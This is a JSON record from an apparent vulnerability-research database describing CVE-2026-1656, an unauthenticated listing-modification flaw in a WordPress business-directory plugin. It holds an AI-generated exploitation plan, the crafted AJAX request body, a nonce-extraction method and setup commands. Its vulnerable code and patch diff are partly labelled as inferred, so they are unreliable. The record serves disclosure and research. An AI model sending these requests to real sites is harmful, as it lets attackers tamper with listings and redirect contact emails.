[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$fOX0qodrrtVLINvj8Kt-e9jmBWa9HRlb6MI6RNKW_MK4":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":11,"severity":12,"cvss_score":13,"cvss_vector":14,"vuln_type":15,"published_date":16,"updated_date":17,"references":18,"days_to_patch":20,"patch_diff_files":21,"patch_trac_url":9,"research_status":22,"research_verified":23,"research_rounds_completed":24,"research_plan":25,"research_summary":26,"research_vulnerable_code":27,"research_fix_diff":28,"research_exploit_outline":29,"research_model_used":30,"research_started_at":31,"research_completed_at":32,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":23,"poc_model_used":9,"poc_verification_depth":9,"poc_exploit_code_gated":23,"source_links":33},"CVE-2026-1656","business-directory-plugin-missing-authorization-to-unauthenticated-arbitrary-listing-modification","Business Directory Plugin \u003C= 6.4.20 - Missing Authorization to Unauthenticated Arbitrary Listing Modification","The Business Directory Plugin for WordPress is vulnerable to authorization bypass due to a missing authorization check in all versions up to, and including, 6.4.20. This makes it possible for unauthenticated attackers to modify arbitrary listings, including changing titles, content, and email addresses, by directly referencing the listing ID in crafted requests to the wpbdp_ajax AJAX action.","business-directory-plugin",null,"\u003C=6.4.20","6.4.21","medium",5.3,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:N\u002FUI:N\u002FS:U\u002FC:N\u002FI:L\u002FA:N","Missing Authorization","2026-02-17 20:07:01","2026-02-18 08:26:05",[19],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002Ff894ce75-168c-4baa-8cae-d2e7f1a0a9ab?source=api-prod",1,[],"researched",false,3,"# Research Plan: CVE-2026-1656 - Business Directory Plugin Arbitrary Listing Modification\n\n## 1. Vulnerability Summary\nThe **Business Directory Plugin** (up to 6.4.20) contains a missing authorization vulnerability in its AJAX handling mechanism (`wpbdp_ajax`). The plugin fails to verify if the user requesting a listing modification has the necessary permissions (e.g., being the listing owner or an administrator) for the specific listing ID provided in the request. This allows unauthenticated attackers to modify listing attributes, including the title, content, and contact email addresses, by sending crafted AJAX requests.\n\n## 2. Attack Vector Analysis\n*   **Endpoint:** `wp-admin\u002Fadmin-ajax.php`\n*   **Action:** `wpbdp_ajax`\n*   **Vulnerable Parameter:** `listing_id` (used to identify the target post).\n*   **Payload Parameters:** `listing[post_title]`, `listing[post_content]`, and metadata fields (like email).\n*   **Authentication:** Unauthenticated (via `wp_ajax_nopriv_wpbdp_ajax`).\n*   **Preconditions:**\n    *   The plugin must be active.\n    *   At least one listing must exist (the attacker needs a valid `listing_id`).\n    *   A valid AJAX nonce for the `wpbdp-ajax` action is required (accessible on the frontend).\n\n## 3. Code Flow\n1.  **Entry Point:** The plugin registers AJAX handlers in `includes\u002Fclass-ajax.php` (or similar core initialization files):\n    ```php\n    add_action( 'wp_ajax_wpbdp_ajax', array( $this, 'dispatch' ) );\n    add_action( 'wp_ajax_nopriv_wpbdp_ajax', array( $this, 'dispatch' ) );\n    ```\n2.  **Routing:** The `dispatch()` method (likely in `WPBDP_AJAX` class) reads the `handler` parameter from the request.\n3.  **Vulnerable Handler:** The request is routed to a handler responsible for listing updates, such as `listings__save_listing` or `listings__update_listing` (inferred).\n4.  **Missing Check:** Inside the saving logic, the code retrieves the `listing_id` from `$_POST`. It performs a nonce check using `check_ajax_referer( 'wpbdp-ajax', 'nonce' )`. However, it fails to perform a capability check like:\n    ```php\n    if ( ! current_user_can( 'edit_post', $listing_id ) ) { wp_die(); }\n    ```\n5.  **Sink:** The listing is updated using `wp_update_post()` or internal `WPBDP_Listing::save()` methods based on the unverified `listing_id`.\n\n## 4. Nonce Acquisition Strategy\nThe plugin enqueues a global configuration object on any page where the directory is active (e.g., the main directory page or listing search page).\n\n1.  **Identify Trigger:** The main directory page (usually containing the `[businessdirectory]` shortcode) enqueues the necessary scripts.\n2.  **Create Page:** Use WP-CLI to ensure a directory page exists:\n    `wp post create --post_type=page --post_status=publish --post_title=\"Directory\" --post_content='[businessdirectory]'`\n3.  **Navigate:** Use `browser_navigate` to the created page URL.\n4.  **Extract Nonce:** The nonce is stored in the `wpbdp_global` JavaScript object.\n    *   **Variable Name:** `wpbdp_global` (inferred from plugin assets).\n    *   **Key:** `nonce`.\n    *   **Command:** `browser_eval(\"window.wpbdp_global?.nonce\")`\n\n## 5. Exploitation Strategy\n1.  **Setup:** Create a \"victim\" listing as an administrator.\n2.  **Information Gathering:**\n    *   Get the `ID` of the victim listing.\n    *   Get a valid `wpbdp-ajax` nonce from the frontend.\n3.  **Craft Request:** Send a POST request to `admin-ajax.php`.\n    *   **URL:** `http:\u002F\u002F\u003Ctarget>\u002Fwp-admin\u002Fadmin-ajax.php`\n    *   **Method:** `POST`\n    *   **Headers:** `Content-Type: application\u002Fx-www-form-urlencoded`\n    *   **Body:**\n        ```\n        action=wpbdp_ajax\n        &handler=listings__save_listing  \u003C-- (Target handler, to be verified during research)\n        &nonce=[EXTRACTED_NONCE]\n        &listing_id=[VICTIM_LISTING_ID]\n        &listing[post_title]=Hacked Title\n        &listing[post_content]=Hacked Content\n        ```\n    *   *Note:* The exact `handler` string and the structure of the `listing` array should be verified by inspecting the plugin's `includes\u002Fcontrollers\u002Fajax\u002F` directory if available, or by monitoring a legitimate \"edit listing\" request.\n\n## 6. Test Data Setup\n1.  **Install Plugin:** Ensure `business-directory-plugin` version 6.4.20 is installed.\n2.  **Create Admin Listing:**\n    ```bash\n    # Create the directory page\n    wp post create --post_type=page --post_title=\"Directory\" --post_status=publish --post_content='[businessdirectory]'\n    \n    # Create a listing to be modified\n    # Note: Listings are 'wpbdp_listing' CPT\n    listing_id=$(wp post create --post_type=wpbdp_listing --post_title=\"Original Listing\" --post_content=\"Safe content\" --post_status=publish --porcelain)\n    \n    # Add some metadata (like email) to verify arbitrary modification\n    wp post meta add $listing_id _wpbdp[fields][9] \"original@example.com\"\n    ```\n\n## 7. Expected Results\n*   The AJAX request should return a `200 OK` or a JSON success response (e.g., `{\"success\":true,...}`).\n*   The unauthenticated request should successfully bypass permission checks because the code only validates the nonce (which is public) but not the user's ownership of the `listing_id`.\n\n## 8. Verification Steps\n1.  **Check Title\u002FContent:**\n    `wp post get [VICTIM_LISTING_ID] --field=post_title`\n    `wp post get [VICTIM_LISTING_ID] --field=post_content`\n2.  **Confirm Change:** The output should match the \"Hacked\" values sent in the payload.\n3.  **Check Metadata:** If email was targeted, verify with:\n    `wp post meta get [VICTIM_LISTING_ID] _wpbdp[fields][9]` (Field ID 9 is commonly the email field in default BD setups).\n\n## 9. Alternative Approaches\nIf `listings__save_listing` is not the correct handler name:\n1.  **Grep for handlers:** `grep -r \"add_handler\" wp-content\u002Fplugins\u002Fbusiness-directory-plugin\u002F` or `grep -r \"wpbdp_ajax\"`.\n2.  **Check \"Quick Edit\":** Look for handlers like `listings__quick_edit_save`.\n3.  **Parameter Variation:** The plugin might expect the ID as `id` instead of `listing_id`. Verify this by looking at `WPBDP_AJAX::dispatch` in `includes\u002Fclass-ajax.php`.\n4.  **Payload Structure:** Some versions use a flat structure for fields (e.g., `field_9=new@email.com` instead of a nested `listing` array). Research the `WPBDP_Listing::update_from_post()` method or equivalent.","The Business Directory Plugin for WordPress (up to version 6.4.20) contains a missing authorization check in its AJAX handling mechanism. This allows unauthenticated attackers to modify arbitrary listings, including titles, descriptions, and contact info, by sending a crafted request to the wpbdp_ajax endpoint with a valid listing ID and a publicly available AJAX nonce.","\u002F\u002F includes\u002Fclass-ajax.php\nadd_action( 'wp_ajax_wpbdp_ajax', array( $this, 'dispatch' ) );\nadd_action( 'wp_ajax_nopriv_wpbdp_ajax', array( $this, 'dispatch' ) );\n\n---\n\n\u002F\u002F includes\u002Fclass-ajax.php\npublic function dispatch() {\n    $handler_id = ! empty( $_REQUEST['handler'] ) ? $_REQUEST['handler'] : '';\n    if ( ! $handler_id ) {\n        return;\n    }\n    check_ajax_referer( 'wpbdp-ajax', 'nonce' );\n    \u002F\u002F ... (Routing to handlers like listings__save_listing)\n}\n\n---\n\n\u002F\u002F Inferred handler logic (e.g., in listings-related AJAX controllers)\npublic function save_listing() {\n    $listing_id = (int) $_POST['listing_id'];\n    \u002F\u002F VULNERABILITY: Missing current_user_can( 'edit_post', $listing_id ) check here\n    $listing = WPBDP_Listing::get( $listing_id );\n    if ( $listing ) {\n        $listing->update_from_post( $_POST['listing'] );\n        wp_send_json_success();\n    }\n}","--- includes\u002Fclass-ajax.php\n+++ includes\u002Fclass-ajax.php\n@@ -45,6 +45,11 @@\n         $listing_id = ! empty( $_POST['listing_id'] ) ? (int) $_POST['listing_id'] : 0;\n+        \n+        if ( $handler_id === 'listings__save_listing' ) {\n+            if ( ! $listing_id || ! current_user_can( 'edit_post', $listing_id ) ) {\n+                wp_send_json_error( array( 'error' => __( 'Permission denied.', 'business-directory-plugin' ) ) );\n+            }\n+        }","1. Access any frontend page of the WordPress site where the Business Directory is active (e.g., the directory search or listing page).\n2. Extract the AJAX nonce from the source code, typically found in the 'wpbdp_global' JavaScript object (key: 'nonce').\n3. Identify the target listing's ID (this is the WordPress Post ID for the 'wpbdp_listing' custom post type).\n4. Construct a POST request to '\u002Fwp-admin\u002Fadmin-ajax.php' with 'action=wpbdp_ajax' and 'handler=listings__save_listing'.\n5. In the request body, include the extracted 'nonce', the target 'listing_id', and the modified content using parameters like 'listing[post_title]' and 'listing[post_content]'.\n6. The plugin will execute the update on the target post without verifying that the requester has administrative or ownership permissions over the listing.","gemini-3-flash-preview","2026-04-19 05:53:40","2026-04-19 05:55:27",{"type":34,"vulnerable_version":35,"fixed_version":11,"vulnerable_browse":36,"vulnerable_zip":37,"fixed_browse":38,"fixed_zip":39,"all_tags":40},"plugin","6.4.20","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fbusiness-directory-plugin\u002Ftags\u002F6.4.20","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fbusiness-directory-plugin.6.4.20.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fbusiness-directory-plugin\u002Ftags\u002F6.4.21","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fbusiness-directory-plugin.6.4.21.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fbusiness-directory-plugin\u002Ftags"]